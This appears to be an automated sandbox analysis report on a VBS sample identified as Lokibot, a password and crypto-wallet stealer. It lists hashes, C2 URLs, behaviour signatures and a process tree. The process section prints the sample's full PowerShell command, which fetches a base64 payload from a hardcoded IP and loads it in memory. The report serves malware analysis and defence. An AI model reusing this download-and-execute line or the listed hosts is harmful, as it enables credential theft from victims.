Analysis

  • max time kernel
    132s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-10-2022 13:55

General

  • Target

    DH0238999742.vbs

  • Size

    437KB

  • MD5

    a28574570548d916d36ddfa0ab962548

  • SHA1

    6b0da48289ca73aa1732d211544665ca5dcf6a25

  • SHA256

    8b54fd4b6fd11853474de7367c7bde98e5472d20c8a04dbd2727f3884734f8ef

  • SHA512

    a26bb1cb28ea4c68f9f7a7d96094b41c5dc56ce67ea4abe1ce26857c005c4e0f35a72494e458e4cf4a2aae53910e4b89d20bcf4f09116deef26fa64144930488

  • SSDEEP

    48:kklC0eHz7/m7rJv4PsfbuUbNbbldQbWUSS/Pe20NrFR4PLEvvldI:nl+/mrOeqUZldQbAMPKNrY4vvldI

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://20.7.14.99/dll/dll_ink.pdf

Extracted

Family

lokibot

C2

http://iklok.us/li/UN/cocacola.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DH0238999742.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5008
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.efil/tt/681.17.612.581//:ptth'))
      2⤵
      • Blocklisted process makes network request
      • Drops startup file
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5048
      • C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Debug.vbs
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1516
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:1740

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Collection

Email Collection

1
T1114

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    64B

    MD5

    50a8221b93fbd2628ac460dd408a9fc1

    SHA1

    7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

    SHA256

    46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

    SHA512

    27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

  • memory/1516-135-0x0000000000000000-mapping.dmp
  • memory/1516-140-0x00007FFFC9CB0000-0x00007FFFCA771000-memory.dmp
    Filesize

    10.8MB

  • memory/1516-144-0x00007FFFC9CB0000-0x00007FFFCA771000-memory.dmp
    Filesize

    10.8MB

  • memory/1740-136-0x0000000000400000-0x00000000004A2000-memory.dmp
    Filesize

    648KB

  • memory/1740-137-0x00000000004139DE-mapping.dmp
  • memory/1740-139-0x0000000000400000-0x00000000004A2000-memory.dmp
    Filesize

    648KB

  • memory/1740-145-0x0000000000400000-0x00000000004A2000-memory.dmp
    Filesize

    648KB

  • memory/1740-146-0x0000000000400000-0x00000000004A2000-memory.dmp
    Filesize

    648KB

  • memory/5048-132-0x0000000000000000-mapping.dmp
  • memory/5048-141-0x00007FFFC9CB0000-0x00007FFFCA771000-memory.dmp
    Filesize

    10.8MB

  • memory/5048-134-0x00007FFFC9CB0000-0x00007FFFCA771000-memory.dmp
    Filesize

    10.8MB

  • memory/5048-133-0x00000248A5660000-0x00000248A5682000-memory.dmp
    Filesize

    136KB